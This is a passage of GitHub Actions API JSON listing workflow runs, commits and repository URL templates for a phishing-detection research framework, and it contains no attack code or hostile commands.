ASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298839288,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODM5Mjg4","head_branch":"feature_selection","head_sha":"6ae0e78204433bc1db30d2cd2bf97c4d37ada87c","run_number":285,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1318223668,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MjIzNjY4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298839288","pull_requests":[],"created_at":"2020-10-10T07:05:04Z","updated_at":"2020-10-10T07:07:37Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318223668","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839288/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"6ae0e78204433bc1db30d2cd2bf97c4d37ada87c","tree_id":"ed9234db99b96a859a2663e65905890a31cdd260","message":"Module docstrings","timestamp":"2020-10-10T07:04:53Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298839234,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODM5MjM0","head_branch":"feature_selection","head_sha":"6ae0e78204433bc1db30d2cd2bf97c4d37ada87c","run_number":1083,"event":"push","status":"completed","conclusion":"cancelled","workflow_id":369237,"check_suite_id":1318223590,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MjIzNTkw","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839234","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298839234","pull_requests":[],"created_at":"2020-10-10T07:05:01Z","updated_at":"2020-10-10T07:32:33Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839234/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839234/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318223590","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839234/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839234/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298839234/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"6ae0e78204433bc1db30d2cd2bf97c4d37ada87c","tree_id":"ed9234db99b96a859a2663e65905890a31cdd260","message":"Module docstrings","timestamp":"2020-10-10T07:04:53Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298826745,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODI2NzQ1","head_branch":"feature_selection","head_sha":"9dd95674fcf7ff800fcc2e2427d4dde49d64db19","run_number":284,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1318196356,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MTk2MzU2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298826745","pull_requests":[],"created_at":"2020-10-10T06:48:46Z","updated_at":"2020-10-10T06:51:16Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318196356","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298826745/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"9dd95674fcf7ff800fcc2e2427d4dde49d64db19","tree_id":"86526d56181254db4cca83ae6dbba490f499a4c4","message":"refactored Feature_Selection.py","timestamp":"2020-10-10T06:40:51Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 